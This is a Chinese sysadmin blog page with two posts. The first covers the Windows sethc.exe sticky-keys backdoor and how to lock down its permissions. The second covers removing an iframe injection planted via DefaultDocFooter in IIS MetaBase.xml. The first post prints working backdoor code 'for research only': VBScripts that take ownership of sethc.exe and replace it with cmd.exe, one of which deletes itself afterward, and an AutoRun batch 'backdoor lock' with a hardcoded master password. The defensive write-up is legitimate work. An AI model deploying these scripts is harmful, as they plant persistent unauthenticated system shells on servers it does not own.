lxadmin/kloxo常见问题(2009.9.25最后更新)

Read more

对sethc.exe后门的解决办法~

打开你的windows2003服务器3389远程管理客户端,然后连续按5下shift键。看看有什么东西!直接调用的粘置窗口的程序sethc.exe,很多黑客会CMD.exe文件来替换此文件的方式给自己留后门,一般该文件都具有users组的权限,现在的IDC在机器原始配置的时候都很少注意权限分配,再加上一些管理员对这些很陌生,所以很多人忽视了这个地方。

解决办法:
打开你的system32目录,寻找sethc.exe文件,默认情况,管理员是不能编辑此文件的,因为默认权限是继承不允许的。所以,在改文件上打开右键,选择“属性”,选择“安全”选项卡,再点击“高级”按钮,把“从父项继承……”前面的对勾去掉,然后确定一下。接下来有两种方式:一是删除所有组的权限,就是大家都用不了该文件,另一种是添加一个everyone组,然后设置该组的所有权限都是“拒绝”,效果是一样的,反正就是大家都玩不了。
还有另外一个位置/%systemroot%/system32/dllcache目录下,也使用同样的方法设置sethc.exe.

这样你的服务器就至少在这个文件生出现什么问题了。

下面给三段非常BT的sethc.exe后门代码,只做研究啊
Dim obj, success
Set obj = CreateObject(”WScript.Shell”)
success = obj.run(”cmd /c takeown /f %SystemRoot%\system32\sethc.exe”, 0, True)
success = obj.run(”cmd /c echo y| cacls %SystemRoot%\system32\sethc.exe /G %USERNAME%:F”, 0, True)
success = obj.run(”cmd /c copy %SystemRoot%\system32\cmd.exe %SystemRoot%\system32\acmd.exe”, 0, True)
success = obj.run(”cmd /c copy %SystemRoot%\system32\sethc.exe %SystemRoot%\system32\asethc.exe”, 0, True)
success = obj.run(”cmd /c del %SystemRoot%\system32\sethc.exe”, 0, True)
success = obj.run(”cmd /c ren %SystemRoot%\system32\acmd.exe sethc.exe”, 0, True)

自动应答,自动删除
On Error Resume Next
Dim obj, success
Set obj = CreateObject(”WScript.Shell”)
success = obj.run(”cmd /c takeown /f %SystemRoot%\system32\sethc.exe&echo y| cacls %SystemRoot%\system32\sethc.exe /G %USERNAME%:F© %SystemRoot%\system32\cmd.exe %SystemRoot%\system32\acmd.exe© %SystemRoot%\system32\sethc.exe %SystemRoot%\system32\asethc.exe&del %SystemRoot%\system32\sethc.exe&ren %SystemRoot%\system32\acmd.exe sethc.exe”, 0, True)
CreateObject(”Scripting.FileSystemObject”).DeleteFile(WScript.ScriptName)

为了后门的不让大家都进去玩,所以加个后门锁的功能:
allyesno注:可以采用cmd 锁 来进行cmdshell的密码验证(关于什么是cmd锁,混混将在以后的文章中给大家提出)
用下面的后门锁的方法是 把代码保存为bdlock.bat
然后修改注册表位置即可
[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Command Processor]
“AutoRun”=”bdlock.bat”
@Echo Off
title 后门登陆验证
color a
cls
set temprandom=%RANDOM%
echo 请输入验证码:%temprandom%
set/p check=
if “%check%”==”%temprandom%%temprandom%” goto passcheck
if “%check%”==”%temprandom%” (
rem 后门服务器验证
rem 如果没有后门验证服务器请rem注释掉下一行代码
if exist \192.168.8.8\backdoor$\pass goto passcheck
)
echo 验证失败
pause
exit
:passcheck
echo 验证成功
If “%passcmdlock%”==”http://blog.csdn.net/freexploit/” Goto endx
Set passcmdlock=http://blog.csdn.net/freexploit/
:allyesno
Set Errorlevel=>nul
Echo 请输入验证密码?
Set password=allyesno Is a pig>nul
Set/p password=
rem 万能密码
if “%password%”==”allyesno is a sb” goto endx
If %time:~1,1%==0 Set timechange=a
If %time:~1,1%==1 Set timechange=b
If %time:~1,1%==2 Set timechange=c
If %time:~1,1%==3 Set timechange=d
If %time:~1,1%==4 Set timechange=e
If %time:~1,1%==5 Set timechange=f
If %time:~1,1%==6 Set timechange=g
If %time:~1,1%==7 Set timechange=h
If %time:~1,1%==8 Set timechange=i
If %time:~1,1%==9 Set timechange=j
set/a sum=%time:~1,1%+%time:~1,1%
Set password|findstr “^password=%timechange%%time:~1,1%%date:~8,2%%sum%$”>nul
If “%errorlevel%”==”0″ cls&Echo 口令正确&Goto End
Echo 请联系客服咨询正确密码!&Goto allyesno
:End
Set password=>nul
Set Errorlevel=>nul
Echo
:endx

知道了以上的代码,我相信你已经对此后门的防御得心应手了。在这里要向各位黑客朋友致谢并道歉。

疑似arp挂马(iframe)挂马的解决方法!

半夜一个网站被黑了,然后突然发现在访问服务器所有html页面的时候,自动插入iframe
通过以下各项检查,均未能发现问题
1、安装了防火墙
2、检查了web程序
3、检查了当天有没有新建或修改的文件(exe,bat,dll等)
4、非本地DNS被ARP
准备放弃的时候。查看了下iis的的配置

我们找到这个文件


打开以后果然是挂马的IFRMAE内容

打开IIS,在你的计算机名(根目录)右键选择属性,在允许直接编辑配置数据库复选框前打钩  

 
然后才是在服务里关闭iis admin service服务    
找到IIS配置文件C:\WINDOWS\system32\inetsrv\MetaBase.xml
查找“DefaultDocFooter=”


然后删掉此行
然后重启iis admin service服务  
否则你修改后不能保存该文件,也即不能修改。

大功告成。阿米陀佛,总算不用重装系统了!